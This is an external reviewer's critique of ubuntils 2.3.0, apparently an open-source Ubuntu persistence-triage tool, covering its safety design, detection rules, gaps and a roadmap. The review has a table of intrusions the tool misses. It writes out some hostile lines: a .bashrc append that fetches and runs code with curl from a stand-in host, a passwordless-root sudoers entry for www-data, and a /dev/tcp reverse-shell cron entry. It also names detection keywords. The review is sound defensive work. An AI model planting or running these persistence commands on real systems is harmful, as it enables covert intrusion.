ubuntils 2.3.0 - a practitioner's review

External review for the maintainer · Nov 10, 2026

Verdict

I would run `ubuntils scan --json` today as a second opinion on a live Ubuntu host I already have root on. I would not yet make it my acquisition tool, install it with pip on a suspect machine, or let it remediate during an incident.

Asmit, I came looking for a persistence triage tool for the first hour on a suspect Ubuntu server. I expected a weekend script. What I found reads like the work of a small team that has been burned before: a written threat model, 635 tests, and a changelog that names its own bugs. That is rare in open-source DFIR tooling at any seniority.

The gap is breadth, not quality. What ubuntils checks, it checks carefully. It checks 17 things, and a real intruder has many more places to hide than that.

Scorecard

How ubuntils rates against what I need from a first-hour triage tool.

What I need	Rating	Why
Safe to run as root on a hostile host	Strong	Isolated re-exec, install trust check, bounded reads, symlink-free writes.
Honest about failures and limits	Strong	Degraded collectors and failed rules are reported; documented gaps.
Remediation safety	Strong	Dry run by default, hard blocks, `visudo` check, guarded rollback.
Depth of the checks that exist	Good	Sudoers, SSH key files, drop-ins and kernel taint are handled with care.
Output I can automate on	Adequate	Canonical JSON with a digest and a Wazuh feed. No schema version, ATT&CK IDs or file hashes.
Timeline	Adequate live, weak offline	Journal plus syslog on a live host. No `auth.log`, rotation or login records.

What I need	Rating	Why
False-positive control	Unproven	Allowlist and baseline exist. Validation covers one VM and one container.
Detection breadth	Weak	17 rules against a much larger persistence surface.
Acquire-first workflow	Weak	Bundles carry a fraction of what a live scan reads.
Deployability on an incident host	Weak	Needs a pip install with five dependencies.

How I evaluated it

This is a code and documentation review of `main` at the 2.3.0 release (commit `3b71b86`). I did not execute the tool, so nothing below is a measured result of mine.

- **Read in full:** the collectors for processes, network, cron, users, systemd and SSH; the bundle writer; the timeline builder; the pipeline; SECURITY.md; the changelog; the hostile-host results.
- **Read in part:** the detection rules (cron, LD_PRELOAD, systemd, SSH key, process, connection and shell-init rules line by line; sudoers, package, PAM, kernel and setuid rules by outline and constants), the path validators, the correlator, the artifact source layer, the CLI and the Wazuh integration.
- **Not reviewed:** the TUI, the remediators' internals and the test bodies. I counted tests and read the CI configuration, but did not run the suite.

Where I quote numbers such as 16 of 16 lab artifacts or 411 package findings, they are yours, from `tools/hostile-host/RESULTS.md`.

What is good

These are the things that moved ubuntils from "student project" to "tool I would put on a jump box".

1. **It tells me what it cannot see.** The README has a "Not covered" list and a warning block on offline gaps. SECURITY.md calls a clean report "necessary, not sufficient". Your own results file says both tests were written around your own rules, so a full

score proves little. Most tools hide this; you lead with it.

2. **"Could not look" never reads as "clean".** Degraded collectors, failed rules and timeline errors are recorded in `scan_metadata`. A failed detection stage exits 1 and a tampered bundle exits 3. This is the property I care about most in triage output.
3. **It treats the host as hostile.** The sudo re-exec uses an absolute interpreter path in isolated mode. It refuses to escalate from a user-writable install. User files are read non-blocking with size caps. Remediation walks paths with `O_NOFOLLOW` and checks device and inode. The `ss` parser assumes process names are attacker text. Few commercial agents document this much.
4. **Remediation is built by someone afraid of it.** Dry run is the default. Sudoers edits are `visudo`-checked on a copy. Hard blocks (`AMBIGUOUS_KEY`, `RECENCY_ONLY`, `SOLE_SUDO_ACCESS`) sit above the confidence score. The N-15 lockout bug was found, written up and fixed by you.
5. **Confidence is explainable.** Every finding carries its signals with weights. I can see why a key scored 70 and argue with it. Dropping keyword-only timeline corroboration was the right call.
6. **The detection that exists has depth.** Sudoers aliases, line continuations and `Defaults !authenticate`. `authorized_keys2` and every `AuthorizedKeysFile`. Systemd drop-ins. mtime or ctime. Kernel taint flags instead of a module name list. dpkg `path-exclude` awareness. Each of these is a lesson usually learned on a real case.
7. **The engineering hygiene is above the norm.** A 90% coverage floor in CI, hash-pinned locks, SHA-pinned Actions, `pip-audit`, published `SHA256SUMS`, and regression tests named after each audit finding. 199 commits in six months, all yours.
8. **Scope discipline.** No network calls, and you dropped VirusTotal and MISP with a reasoned argument. "Not planned: a web dashboard, macOS, a continuous agent" is a sentence I wish more projects wrote.

What is bad

Ranked by how much each one limits real use. You already document several of these; I list them anyway because they decide whether I can adopt the tool.

#	Problem	Why it stops me	What I saw
1	Installing it changes the evidence	It needs Python plus five PyPI packages on the suspect host. That means network access, pip writes and trust in the host's own `python3`. Many incident hosts are isolated before I arrive.	`requirements.txt`: click, textual, structlog, pyyaml, python-dateutil. The single-file build is only on the 3.0 list.
2	The forensically correct path is the weakest one	I acquire first and analyze elsewhere. `collect` grabs 20 fixed files and 10 command outputs. It skips `cron.d`, `sudoers.d`, every `authorized_keys`, unit files and all per-process data. So `analyze BUNDLE` misses most of what `scan` finds.	`COLLECT_FILES` and `COLLECT_COMMANDS` in `cli.py`. The README says the same.
3	Coverage is narrow next to real tradecraft	No collector or rule touches udev rules, XDG autostart, `update-motd.d`, `rc.local`, init scripts, apt or dpkg hooks, file capabilities, `at` jobs, systemd generators, `.timer`, `.socket` and `.path` unit bodies, `modules-load.d`, `ld.so.conf.d`, `pam_exec` or `AuthorizedKeysCommand`.	I searched the source for each term and found none. The last two are on your own "Not covered" list.
4	Command heuristics are easy to step around	A root-owned `/etc/cron.d` entry that pipes curl to bash, or opens a `/dev/tcp` reverse shell, is not flagged unless it mentions a temp directory. The download regex only matches curl or wget piped straight to `sh` or `bash`. Process substitution, a pipe to python, or download-then-chmod all pass.	`rule_cron_tmp_path` and `rule_cron_root_exec` are the only cron rules, and the second skips root-owned entries. No reverse-shell pattern (`/dev/tcp`, `socat`, `mkfifo`) exists anywhere.

#	Problem	Why it stops me	What I saw
5	Process triage is shallow	Each process is name, UID, exe and cmdline. There is no parent PID, start time, working directory, environment or memory map. So no parent-child view, no `memfd` or injected-library check, and no hidden-process cross-check. As far as I can see, a deleted executable is only flagged when it also holds a connection.	`collectors/processes.py` is 59 lines.
6	The timeline misses the logs I reach for first	It reads `syslog`, `messages`, `audit.log` and seven days of journal. It does not read `auth.log`, rotated or compressed logs, `wtmp`, `btmp`, `lastlog` or shell history. On a dead image the journal is not read at all.	`timeline/builder.py`. `journalctl --directory` against the mounted image would close the last gap.
7	Noise on real servers is unproven	Any outbound connection to a port outside a list of 11 is a MEDIUM finding. Every database client, Kubernetes node and service on 8443 will trip it. Your validation hosts are one VM and one container.	`_COMMON_REMOTE_PORTS`; the 411 package findings in your own results before the 2.3.0 fix.
8	It writes to the host by default	Wazuh forwarding is on whenever an agent is present. Bundle staging puts a copy of `/etc/shadow` under the temp directory. Backups land on the same disk. Each is defensible; together they blur "triage" and "change".	`integrations/wazuh.py`, `bundle/writer.py`.

#	Problem	Why it stops me	What I saw
9	Integrity is a hash, not a signature	Unkeyed SHA-256 catches corruption, not a forger. You say so plainly. For chain of custody I still need my own out-of-band record.	README, "Report integrity".
10	One maintainer, fast-moving schema	Two major versions shipped in six months and a third planned, with output fields and baselines changing again in 3.0. I cannot build playbooks on a format that moves this fast. Output also has no ATT&CK technique IDs yet.	Changelog "Deprecated" section; `host_id` is still empty.

A note on remediation. The safeguards are good, but I would not run `--remediate --confirm` mid-incident on any tool. Removing one key before scoping tells the intruder they were seen. I would move it out of the headline and keep the pitch on triage.

The README is also 1,087 lines. The first screen should tell a responder what to run and what a clean result does not mean. Everything else can live in `docs/`.

Nine intrusions I walked through the code

None of these would be reported by 2.3.0, as far as I can tell from reading the rules. I have not run them. Each is ordinary tradecraft, not a clever evasion.

#	What the intruder does	Why it is missed
1	Adds an SSH key to an existing `authorized_keys` and waits eight days.	`SSH_UNAUTHORIZED_KEY` skips any key whose file has not changed in 7 days, unless it sits in `authorized_keys2`. A `command=` option does not change that. Dwell time on real cases is often weeks.

#	What the intruder does	Why it is missed
2	Runs an implant from `/dev/shm` with an ordinary name, idle or listening as a bind shell.	`PROCESS_MASQUERADE` needs a kernel-thread name or one of 32 known names. `PROCESS_SUSPICIOUS_CONNECTION` needs an established, non-loopback connection. A listener or a quiet process matches neither.
3	Drops a root entry in `/etc/cron.d` that opens a `/dev/tcp` reverse shell every minute.	`CRON_ROOT_EXEC` skips root-owned crontabs. `CRON_TMP_PATH` only looks for temp directories.
4	Installs a new unit with `ExecStart=/usr/local/sbin/updater`, root-owned.	The systemd rule has four triggers: temp path, curl piped to a shell, base64 decode, non-root owner. A tidy unit from a root-level intruder hits none.
5	Writes `www-data ALL=(ALL) NOPASSWD: ALL` into `sudoers.d`.	`SUDOERS_NOPASSWD` only evaluates accounts with UID 1000 or above and a login shell. A web shell running as a service account gets root unnoticed.
6	Gives a service account a login shell, or adds a user to `sudo`, `docker` or `lxd`.	The only account rules are UID 0 and empty password. Group membership and shell changes are collected but not judged.
7	Leaves a setuid copy of bash in `/var/lib` or `/root`.	The setuid search covers `/usr`, `/bin`, `/sbin`, `/opt`, `/home`, `/srv` and the temp directories. File capabilities are not checked anywhere.
8	Appends `bash <(curl -s host/x)` to a `.bashrc` and waits two days.	The content regex wants curl or wget piped to `sh` or `bash`. The recency window is 48 hours.
9	Sets `LD_PRELOAD` through a systemd `Environment=` line.	`LD_PRELOAD_INJECT` reads shell init files, `/etc/environment` and `/etc/ld.so.preload`. Unit environments and `/proc/<pid>/environ` are not read. `LD_AUDIT` is not checked at all.

Cases 1, 2 and 3 worry me most. They are the first three things I would expect on a compromised web server, and a clean report would say nothing about them.

Rule-by-rule notes

Rule	What holds up	What I would change
`CRON_ROOT_EXEC`	Clear logic for user crontabs that call sudo.	It covers the rare case. Root's own crontab and `/etc/cron.d` are where intruders land, and they are skipped by design.
`CRON_TMP_PATH`	Separator-aware path matching; covers `@reboot` and run-parts scripts.	A temp path is the only signal. Add the shared command matcher, `anacrontab` and `at` jobs.
`LD_PRELOAD_INJECT`	Checks every element of the list; any `ld.so.preload` entry is reported.	Add `LD_AUDIT`, `LD_LIBRARY_PATH`, `ld.so.conf.d` and unit `Environment=` lines.
`SUSPICIOUS_SYSTEMD_TIMER`	Reads drop-ins and checks binary ownership.	The name hides that it covers services. Add "unit file owned by no package" plus recency. Read `.timer`, `.socket` and `.path` bodies, `ExecStopPost` and `ExecCondition`. User units are only found under `/home` and `/root`.

Rule	What holds up	What I would change
`SSH_UNAUTHORIZED_KEY`	Fingerprint-only corroboration and the two hard blocks are exactly right.	Drop the 7-day gate for reporting. List every key with its fingerprint, and let the baseline remove the known ones. Treat `environment=` and `permitopen=` as content signals too.
`USER_UID_ZERO`	Simple and correct; a malformed passwd line cannot hide an account.	Nothing.
`USER_EMPTY_PASSWORD`	Knows about Ubuntu's `nullok` default.	Add service accounts with login shells, accounts created recently, and privileged group membership.
`SUDOERS_NOPASSWD`	The best parser in the tool: aliases, continuations, includes, `!authenticate`.	Evaluate system accounts as well. Flag `sudoers.d` files that no package owns.
`PROCESS_MASQUERADE`	The kernel-thread check is sound and cheap.	Stop keying on names. Flag any executable in a temp directory, deleted from disk or backed by `memfd`, whatever it is called. Expect noise from `python3` in virtualenvs under `/opt` or `/home`.
`PROCESS_SUSPICIOUS_CONNECTION`	PID attribution is hardened against spoofed process names.	Listeners are ignored. The 11-port list will be noisy on application servers.
`SHELL_RC_MODIFICATION`	Content signals apply at any age.	Widen the patterns. Add `alias`, `trap` and `PROMPT_COMMAND` hijacks.

Rule	What holds up	What I would change
`PACKAGE_TAMPERED`	Grouped per package, aware of `path-exclude`, sensible downgrades.	`dpkg --verify` trusts checksums stored on the same host. Say so in the finding text; a root intruder can edit them.
`IMMUTABLE_FLAG_SET`	Few tools check attributes at all. Your lab shows UAC's triage profile does not.	The path list is fixed at 14 files. Add key files, cron directories and unit directories.
`PAM_BACKDOOR`	Stack-aware: it knows when `pam_permit` can grant access alone.	Add `pam_exec` and any module file that no package owns.
`KERNEL_MODULE_SUSPICIOUS`	Taint flags are the right basis; the 2.3.0 fix was a good one.	It reads `/proc/modules`, the first thing a rootkit hides from. Cross-check against `/sys/module`.
`SETUID_INVENTORY`	Tells setuid from setgid; baseline covers sudo-rs.	Widen the search paths and add file capabilities.
`USER_FILE_OVERSIZED`	A thoughtful answer to padding attacks.	Nothing.

Quick wins

Smaller changes that would each close a real gap. Most are a day or less of work.

- **Flag by location, not by name.** Any process whose executable is in `/tmp`, `/var/tmp` or `/dev/shm`, or is deleted, is worth a finding on its own. That closes case 2.
- **Report listeners.** A listening socket owned by a process outside the standard directories is a bind shell until proven otherwise.
- **Inventory every SSH key.** Emit all keys with fingerprints at LOW, whatever the file's age. Baselines already exist to quiet the known ones. That closes case 1.
- **Evaluate system accounts in `SUDOERS_NOPASSWD`.** Removing the UID filter closes case 5.

- **Reuse the curl and base64 patterns in the cron rules.** They already exist for systemd and shell init files.
- **Add `auth.log` to the timeline and to `collect`.** It is already on your `lsattr` path list, so the tool knows it matters.
- **Hash what you flag.** A SHA-256 of each flagged executable, unit or script lets me pivot to other hosts and threat intel without a second visit.
- **Give findings a stable ID.** A hash of rule, path and value would let me diff two scans of the same host.
- **Add an exit code for "findings present".** I found codes for detection failure (1) and a tampered bundle (3) only. Scripts need a third.
- **Open custom rules to more sources.** They accept cron, environment, ssh, process and network. Without systemd, users, sudoers and file sources, I cannot cover your gaps myself.
- **Make the journal window a flag on `collect`.** It is fixed at 7 days, which is shorter than most dwell times.
- **Stage bundles under `/var/lib/ubuntils`.** You already create that directory root-only. The staging copy currently goes to the system temp directory.
- **Rename `SUSPICIOUS_SYSTEMD_TIMER`.** It reports services and drop-ins too, and the name will confuse anyone reading alerts in a SIEM.

Where it fits

ubuntils does not replace anything in my kit today. It fills a real gap between collectors that make no judgement and scanners that only know old rootkits.

Tool	What it is	Against ubuntils
UAC	Broad artifact collector, no verdicts	UAC stays my acquisition tool. ubuntils adds the judgement UAC lacks, on a far smaller artifact set.
Velociraptor, osquery	Fleet-wide query and hunt platforms	They need agents and a server. ubuntils needs neither, but has no multi-host story.
rkhunter, chkrootkit	Signature checks for known rootkits	Different job. Your lab result (16 of 16 against 2 and 1) is fair, and you say why it is not a like-for-like comparison.

Tool	What it is	Against ubuntils
Lynis	Hardening auditor	Not a triage tool. You position this correctly in the README.

The honest pitch is "a persistence-focused second opinion with explainable scoring, for a single live Ubuntu host". That is a useful thing, and narrower than "forensic triage".

What I would do next

In the order that would change my verdict.

1. **Ship the single-file build first.** One signed artifact I can copy over SSH and run with the system `python3`, with no pip step. Until this exists, most responders cannot use the tool on a real case.
2. **Give `collect` parity with `scan`.** Capture the same globs the collectors read, plus per-PID `/proc` data and unit files. Then a bundle analyzed offline finds what a live scan finds, and acquire-first becomes the recommended path.
3. **Run PANIX and publish the misses.** You plan this already. Do it before adding rules, and let the miss list set the rule order. A published "we catch N of M techniques" is worth more than any feature.
4. **Share one suspicious-command matcher.** Cron, systemd, shell init and `at` jobs should all pass through the same check: download-and-execute in its common forms, reverse-shell idioms, encoded payloads. Today each rule has its own partial version.
5. **Build a clean-host corpus.** Stock cloud images from the three big providers, a Docker host, a Kubernetes node, a database server. Publish finding counts per image and per release. This is how you earn trust on false positives.
6. **Deepen processes and the timeline.** Parent PID, start time, environment and maps for processes. `auth.log`, rotated logs, `wtmp` and `btmp`, and the image's own journal for the timeline.
7. **Freeze the output contract.** A versioned JSON schema with ATT&CK technique IDs, and signed bundles (`ssh-keygen -Y sign` would do). That is what lets a team build playbooks on top.

If you get the first three done, I would move ubuntils from "second opinion" to "standard step in our Ubuntu triage runbook".